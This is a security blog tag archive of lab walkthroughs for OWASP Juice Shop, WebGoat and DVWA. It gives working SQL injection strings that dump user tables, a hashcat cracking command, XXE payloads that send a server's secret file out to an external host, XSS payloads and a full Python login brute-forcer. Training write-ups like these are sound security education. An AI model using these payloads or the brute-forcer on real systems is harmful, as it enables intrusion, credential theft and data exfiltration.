Tag Archives: InfoSec

OWASP Juice Shop Cracking

Today I’m going to write how to get the answers to the security answers for the lost password functionality in OWASP Juice Shop. While there’s no achievement for this, it is a very good exercise that teaches both SQL injection, code diving and cracking.
In order to reset a user’s password, 2 things are required: their email and the answer to their security question. Both are initially relatively easy to get, as I’ll show.

There are a couple places in Juice Shop that are vulnerable to SQL injection. My other Juice Shop post explained how to exploit this vulnerability in the login form, but it also exists in the product search page. Furthermore, this is not a blind SQL injection, so we are able to see the full output.

Testing the product search form I was able to provoke an error message that showed the search query being made, and I found out that I could break out of the query by adding ‘)) to the search query, and then construct my own query terminated by — -.

First, I constructed a UNION query to find the number of columns by adding ‘null’ until the query got accepted:

search?q=')) UNION SELECT null,null,null,null,null,null,null,null FROM Products -- -

Next, I altered this base query to find the name of the tables in the database:

search?q=')) UNION SELECT name,name,name,name,name,name,name,name FROM sqlite_master WHERE type='table' -- -

I got the email addresses of the users with a query for the Users table (and yes, I could as well dump the passwords too, which would be so much easier than what I did last time!):

search?q=')) UNION SELECT id,username,email,null,null,null,null,null FROM Users -- -

And with this information I could start extracting the information from the securityAnswers table:

search?q=')) UNION SELECT id,userid,answer,null,null,null,null,null FROM securityAnswers -- -

Great! One problem though: the answers are not in plaintext (nor should they be if this was a real application!). They appear to be hashed as SHA256, so I tried cracking them with hashcat. No luck though.

This is where it gets interesting. Since Juice Shop is open source, I was able to dig through the code on GitHub and search for the code responsible for hashing the security answer. The relevant file can be found here, and the relevant line below:

exports.hmac = data => crypto.createHmac('sha256', '07-92-75-2C-DB-D3').update(data).digest('hex')

So the script takes the security answer (data), and creates a SHA256 HMAC (signed hash) signed with the key “07-92-75-2C-DB-D3”. Now we are in business!

All that remains is to put it all together and crack the hashes. First, I extracted the hashes from the database dump and put it in a format that hashcat understands, namely HASH:KEY, and then ran hashcat with the following arguments:

hashcat -m 1460 -a 3 -w 3 /usr/share/wordlists/rockyou.txt hash.txt

Within a few seconds I had the first 2 security answers, and a couple hours later I got another. I could imagine that some of the answers are too weird to be brute forced (I know Bender’s is!), so it’s doubtful I’ll be able to crack them all.

I think the most important take-away from this exercise is that if you have access to the source code, anything is possible. There’s absolutely no way I’d have been able to crack the HMAC without the secret key, but doing some GitHub search gave me that (and other secrets that’ll help me on future exercises).

EDIT 24/08/19: Björn Kimminich, the creator of Juice Shop, pointed out below that using the source code is cheating. Which makes sense, as it makes many of the challenges very easy that way. Still, seeing as cracking the hashes is neither required, nor an achievement, I think it’s a good exercise nonetheless.

Feel free to post any comments or questions below and I’ll reply as soon as I’m able.

OWASP Juice Shop SQLi

The OWASP Juice Shop is a vulnerable web application to train web application hacking on, much like OWASP WebGoat which I’ve already covered on this blog.
Without spoiling too much, the login form is vulnerable to SQL injection, and it is possible to dump the database from here. I’ll cover the detection of the vulnerability and how to automate exploiting it.
It is very easy to bypass the password check and login as anyone by using some Boolean logic and commenting out the rest of the query, as shown here:

myemail@somewhere.com’ OR 1=1 — –

What exactly does this do? Digging a little deeper in the login form and provoking an error (by only injecting a quote), we can see that the query done by the backend is the following:

“SELECT * FROM Users WHERE email = ‘myemail@somewhere.com’ AND password = ’81dc9bdb52d04dc20036dbd8313ed055′ AND deletedAt IS NULL”

So by injecting a quote (‘) we can break out of the email field and inject our own SQL query, in the above case one that equates to true and comments out the rest of the query, bypassing the password and deletedAt check.

Having identified the vulnerability, let’s try and dump the Users table. First step is to check the number of columns in the table and the name of these. We do this by constructing a UNION query and querying each column by ‘null’ (since we don’t know its name yet).

myemail@somewhere.com’ UNION SELECT null FROM users — –

This returns the following error:

SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns

So we continue adding nulls separated by a comma, until the error goes away:

myemail@somewhere.com’ UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null from users — –

12 columns, that’s a lot! Let’s try and find names for them.
At this point we can guess the names, however the Java Web Token the application sets actually tells us almost all the column names, except one.
To find them, base64-decode the JWT.

id,username,email,isAdmin,lastLoginIp,profileImage,isActive,createdAt,
updatedAt,deletedAt,password,totpSecret

With this information, it is relatively easy to put together a Python script to completely automate the extraction of the database. The only really interesting info in the Users table is the password, so I’ve focused my script on extracting those. Although yes, I’m completely aware that the very first thing I did was bypass the password check, but it’s still nice to be able to login as anyone with their password (Juice Shop actually has an ‘achievement’ for just that!).

If you’re interested head over to my GitHub repo to check out the script.

OWASP WebGoat XXE

The WebGoat XXE (XML External Entity) section has 3 exercises. The first 2 are pretty easy, the last one quite difficult.
So without further ado, let’s get to it!

Exercise 3

In this exercise you are asked to list the contents of the root file system directly in a comment using XXE. For this, you can use the SYSTEM “file://” entity, as follows:

<?xml version=”1.0″?>
<!DOCTYPE comment [
<!ENTITY xxe SYSTEM “file:///”>
]>
<comment>
<text>&xxe;</text>
</comment>

Intercept the request with a proxy and change the POST data to the above. This works on Linux systems, for Windows you should list the contents of C:/ instead of /.

Exercise 4

This one is very simple, do the same as above but with a twist. Initially, the data is sent by JSON not XML. Just change the Content-Type to application/xml in the header.

Page 6

This is not really an exercise, but since the tutorial is full of errors and you have to get it working correctly before trying the next exercise, I have included it.
You are asked to ping the landing page of WebWolf with the test=HelloWorld parameters, using the following attack.dtd file uploaded to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY ping SYSTEM ‘http://192.168.56.101:9090/landing?test=HelloWorld’>

It is important to go to ip:port/landing, NOT ip:port/WebWolf/landing as the tutorial says! Trying to go to /WebWolf/landing constantly returned the error Scanner State 24, which didn’t make much sense. Also, don’t forget to send the parameters, the tutorial doesn’t mention this.

Exercise 7

This exercise builds upon the example on page 6, so it’s important to get that to work first. This time, you are supposed to ping the landing page of WebWolf with the contents of a secret file from the server system. You should do this with an attack file hosted on WebWolf, not listing the file in the comment section of WebGoat (which is much easier).

First, construct and upload the contents_file.dtd to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://192.168.56.101:9090/landing?%file;’>”>%all;

This pings /landing with the file parameter which we’ll specify later, allowing you to see its contents in WebWolf (Incoming Requests).
Again, write a comment in WebGoat and intercept the POST, changing it to the following:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM “file:///home/tux/.webgoat-8.0.0.M21/XXE/secret.txt”>
<!ENTITY % dtd SYSTEM “http://192.168.56.101:9090/files/123456/contents_file.dtd”>
%dtd;]>
<comment>
<text>test&send;</text>
</comment>

This command does two things: reads the secret.txt file and allows it to be referenced as %file; and opens the contents_file.dtd on the WebWolf server, which then pings itself with the contents of %file;.
Now go to Incoming Requests in WebWolf, look at the latest record and copy the parameter (removing URL encoded spaces). Post this message in WebGoat under the cute cat, and you should have solved the exercise!

OWASP WebGoat SQLi mitigation lesson 8

The OWASP WebGoat SQL Injection Mitigation lesson 8 is another blind SQL exercise, very similar to the SQL advanced lesson 5. Actually, I solved it with a similar technique to that one.
The goal is to find the IP of the webgoat-prd server, which is not listed on the page. Try sorting the entries via the GUI and capture the traffic with a proxy. You should see a column parameter in the URL being sent. You can only modify the order by clause of the SQL query being made in the column parameter, but as was explained on the previous page in WebGoat, order by allows you to use case to construct a sub query.
The case construct works like this:

case (true) then something else something_else end

If the case evaluates to true then do the first thing, else do the other thing. Since we are working within the order by clause, there’s really only one thing we can do as then or else, which is sort by one of the returned (column) values. To avoid complicating matters, I used sort by id for true, and sort by IP for false. That way, I could quickly spot if my query was true by checking if the returned data was sorted numerically.
The real question is what to use for the case evaluation. After some messing around I settled on exists and constructed a few queries.

exists(select id from servers where hostname=’webgoat-prd’)

checks if webgoat-prd actually exists in the database. Since the results returned were sorted numerically, it does!

After some trial and error I was able to construct the following final query, which extracts the IP one number at a time. Like in the SQL advanced mission 5, using Burp Intruder makes the task much easier and faster.

http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname=’webgoat-prd’ and substring(ip,1,1)=1) then id else ip end)

If the returned query is sorted by id, then ‘1’ is the first number of the webgoat-prd IP address. As with lesson 5, it is just a question of iterating through all numbers and the starting index of substring. Since we don’t know the length of the IP address beforehand, we should also check for the string ‘.‘ (dot), for example in the 4th and 8th index.

Following the above technique it should be relatively easy to extract the IP address from the database.

OWASP WebGoat SQL advanced lesson 5

Last week I wrote about the OWASP WebGoat XSS lessons. Today I’d like to write a few pointers on how to solve the SQL injection (advanced) lesson 5. The goal is simple: you are presented with a login box and given a username; log in as that user.

The usual username’ OR ‘1’=’1 — unfortunately doesn’t work (that would have been too easy!), and since the last slide talked about blind SQL injection, it was pretty obvious that this was the way to go. After a few unfruitful hours trying to use SLEEP and UNION on the register new user page I started looked online for a hint. What I found was to register a new user, and then register it again with either TRUE or FALSE:

Register new user: testuser
Again register the same user but like this: testuser’ AND ‘1’=’1
Which equates to “testuser and TRUE”. When registering this user, pay attention to the server reply:

User testuser’ and ‘1’=’1 already exists please try to register with a different username.

Now try registering: testuser’ AND ‘1’=’2
Which translates to “testuser and FALSE”. The server now replies:

User testuser’ and ‘1’=’2 created, please proceed to the login page.

At first I thought it literally created the user “testuser’ and ‘1’=’1” but no, it still creates only “testuser” but apparently the added 1=1 means “user already exists”, as opposed to 1=2 meaning user doesn’t exist, although it does (we already created user “testuser”).

Again, since the last slide talked about extracting the database version string with substring(database_version(),1,1)=’1 I tried tagging that on to the username instead of ‘1’=’1. Iterating through all 10 numbers for the database version, I got 2 as the only TRUE statement. Using this technique, I was able to find 2.3.4 as being the database version.

So what other kind of information can we extract using substring? I first tried ‘user’ and ‘username’, but got an error saying the string didn’t exist. ‘userid’ worked though, but I saw no need for that information. In a flash of inspiration I tried ‘password’, and lo and behold, the first letter that equated to TRUE was ‘t’:

tom’ AND substring(password,1,1)=’t

User tom’ AND substring(password,1,1)=’t already exists please try to register with a different username.

As we saw before, ‘1’=’1 equals TRUE and returns “user already exists”, so if the above command returns the same, it must equal TRUE as well. We now have the tool to extract Tom’s password!

At this point I got tired of going through all characters manually and fired up Burp and configured BURP Intruder for a sniper attack. There’s only 1 parameter to fuzz, the very last letter in the string. This is very easy to do with Intruder with the following settings:

Attack type: Sniper
Payload: Brute Forcer
Character set: abcdefghijklmnopqrstuvwxyz0123456789
Min length: 1
Max length: 1

To find a hit, sort the results by length. A successful hit is slightly longer than a miss.

Each time I got a hit I changed the start position of substring (2nd parameter) and ran intruder again. Within half an hour I had poor Tom’s password!

OWASP WebGoat XSS lessons

I recently installed WebGoat, a deliberately vulnerable web app with built-in lessons. While some of the lessons are very easy, they quickly rise to a much higher difficulty. Even though the app does explain the basic concepts, the explanations are nowhere good enough to solve the exercises provided.

In this post I’ll focus on the Cross-Site Scripting (XSS) lessons, which I was recently able to solve.

After having installed WebGoat, you may want to access it from another client. You can do this by launching it with the –server.address=x.x.x.x parameter. Also, if you don’t want to reconfigure Burp or ZAP, –server.port=8081 allows you to run WebGoat on a different port from the default 8080 which these proxies normally use.

The first 2 XSS lessons are pretty straight-forward and I won’t talk about them (however, see here). However, on lesson 10 I started having difficulties: I didn’t really understand what they were asking for (“what is the route for the test code that stayed in the app during production”)? Turns out you have to dig through the javascript source code and look for some kind of test code. The first time you answer incorrectly you’ll get a hint on where to look. The difficulty for me was in finding out exactly the answer they wanted. Looking in GoatRouter.js (as the hint suggests), you’ll find the following key/value pairs:

routes: {
‘welcome’: ‘welcomeRoute’,
‘lesson/:name’: ‘lessonRoute’,
‘lesson/:name/:pageNum’: ‘lessonPageRoute’,
‘test/:param’: ‘testRoute’,
‘reportCard’: ‘reportCard’

Try playing around with these routes; as the lesson suggests, the base route for the lesson is start.mvc#lesson/. What is the route for reportCard? Try accessing start.mvc#reportCard.
Now for the test code: Of the 5 routes we have in the above code, it’s obviously the ‘test/:param’:’testRoute’ part we are interested in. How does this translate as a base route? If the lesson base route is start.mvc#lesson/, it should follow the same premise. Forget about the :param and testRoute part, we won’t need that until later.

Lesson 11 is where things start to get really interesting. Having identified the base route for the test code, we are now asked to run the code. Try accessing the test code in the browser (base route + parameters as seen in GoatRouter.js).

Now that’s interesting. It seems as if what we wrote in the URL gets reflected in the page. Try writing something else after test/, like the classic <script>alert(1)</script>:

Remember to URL-encode the / in </script>, or it won’t work (as %2F).

So we now know that the parameters after the base route get reflected in the page. Since the reflected part never gets sent to the server, this is DOM-based XSS. However, in this mission we are not interested in getting a pop-up, but in running the phoneHome test code and getting its output from the browser console (Firefox: right-click -> Inspect Element -> Console). So how do we run the code? If <script>alert()… allow us to get a pop-up box, which tags allow us to run javascript code (stop reading here if you want to figure out the rest yourself)?

One possible way is:

start.mvc#test/<script>webgoat.customjs.phoneHome();<%2Fscript>

Run this, and look in the console.log:

‘phone home said {“lessonCompleted”:true,”feedback”:”Congratulations. You have successfully completed the assignment.”,”output”:”phoneHome Response is -1798806219″}’

The ‘Response’ is obviously the answer to the mission.

Lesson 13 is a continuation of what we learned in lesson 11. This time you are the evil hacker trying to steal everyone else’s session on a message board. Or rather, you want to insert a stored bit of XSS that other potential users will inadvertently execute. I had a lot of trouble with this mission, and even though I believe I’ve solved it the way they want me to, it still shows as unsolved in the stats.
After a lot of trial and error I tried inserting the base javascript webgoat.customjs.phoneHome() into a message using the <embed src=””> tag. There are other ways to execute it, like <script src=”javascript:webgoat.customjs.phoneHome();”></script>. They all pretty much do the same thing, execute the javascript and generate a new mission Response code.

As I said, even though I input the code in the mission and the page says “Yes, that is the correct value”, it still shows as unsolved in the mission stats. The lesson link however is green, as in a solved mission. A bug?

 

This YouTube video by Lim Jet Wee might be helpful for lesson 10. 

DVWA login brute-forcer in Python

I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.

After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.

1
<input name="user_token" type="hidden" value="d3b0fabcd22dd8ad5f202f508777f8b8" />

While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.

I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.

Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python

from bs4 import BeautifulSoup
import requests
import re

# url to attack
url = "http://192.168.56.101/dvwa/login.php"

# get users
user_file = "users.txt"
fd = open(user_file, "r")
users = fd.readlines()
fd.close()

# get passwords
password_file = "passwords.txt"
fd = open(password_file, "r")
passwords = fd.readlines()
fd.close()

# Changes to True when user/pass found
done = False

print("Attacking " + url + "\n")

# Get login page
try:
    r = requests.get(url, timeout=5)
except ConnectionRefusedError:
    print("Unable to reach server! Quitting!")

# Extract session_id (next 2 lines are from https://blog.g0tmi1k.com/dvwa/login/)
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id = session_id.group(1)

print("Session_id: " + session_id)
cookie = {"PHPSESSID": session_id}

# prepare soup
soup = BeautifulSoup(r.text, "html.parser")

# get user_token value
user_token = soup.find("input", {"name":"user_token"})["value"]

print("User_token: " + user_token + "\n")

for user in users:
    user = user.rstrip()
    for password in passwords:
            if not done:
                password = password.rstrip()
                payload = {"username": user,
                    "password": password,
                    "Login": "Login",
                    "user_token": user_token}

                reply = requests.post(url, payload, cookies=cookie, allow_redirects=False)

                result = reply.headers["Location"]

                print("Trying: " + user + ", " + password, end="\r", flush=True)

                if "index.php" in result:
                    print("Success! \nUser: " + user + " \nPassword: " + password)
                    done = True
            else:
                break